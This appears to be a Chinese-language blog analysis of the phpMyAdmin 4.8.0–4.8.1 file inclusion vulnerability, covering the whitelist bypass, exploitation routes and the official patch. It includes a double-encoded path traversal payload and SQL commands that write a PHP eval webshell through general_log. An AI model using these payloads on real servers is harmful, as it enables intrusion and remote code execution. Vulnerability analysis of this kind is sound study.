前言
其实也没什么好说的,总感觉没个前言不完整,2333~
漏洞分析
该漏洞影响phpMyAdmin 4.8.0-4.8.1版本,本次分析使用4.8.1。
漏洞的入口在index.php 54-63行,疑似文件包含,看看有没有搞头。
1 | $target_blacklist = array ( |
这里有5个条件,满足之后就会包含我们穿过来的文件。前4个条件都比较好理解非空、必须为字符串、不能是index开头,不能是黑名单中的文件名(import.php、export.php)
,重点看最后一个。
libraries/classes/Core.php
1 | public static function checkPageValidity(&$page, array $whitelist = []) |
前面是一些简单的判断,然后文件名必须在白名单里。接下来按问号分割字符串,目的是适应target=view.php?id=1
这种情况,分割后$_page
仍然是view.php。
漏洞就出现在下面urldecode
这里,如果我们让db_sql.php%253f/../../../../test.txt
,其中db_sql.php是白名单中的文件名,%253f
是?
的双重urlencode,php会自动进行一次urldecode,第一次分割的时候是这样的:
当然下面的判断也不会生效,继续向下,第二次分割之前会urldecode一次。
分割之后$_page='db_sql.php'
,符合条件,函数返回了true。
现在5个条件都符合了,php会将db_sql.php%253f/
当成一个目录,所以需要多加一个../
来包含我们可控的文件。
漏洞利用
由于漏洞出现在phpmyadmin后台,所以利用还是有一定的局限性,这里有几个利用方式:
利用导入功能,上传一个有一句话的文件
phpmyadmin默认没有设置上传目录,通过操作临时文件来导入数据,执行结束后临时文件就被删除了。
1
2
3
4
5
6
7
8/**
* Directory for uploaded files that can be executed by phpMyAdmin.
* For example './upload'. Leave empty for no upload directory support.
* Use %u for username inclusion.
*
* @global string $cfg['UploadDir']
*/
$cfg['UploadDir'] = '';既然已经进入后台,那么可以创建一个数据库或者修改数据插入一句话,然后包含对应的文件。
开启通过general_log和general_log_file来获取webshell
1
2
3set global general_log='on';
SET global general_log_file='F:/cmd.php';
SELECT '<?php eval($_POST[1]);?>';首先执行
select '<?php phpinfo();?>'
,然后包含session文件。
漏洞防御
https://github.com/phpmyadmin/phpmyadmin/commit/7662d02939fb3cf6f0d9ec32ac664401dcfe7490
这是官方的补丁,增加了一个$include
参数,在index.php中使用checkPageValidity函数时直接就放回false了。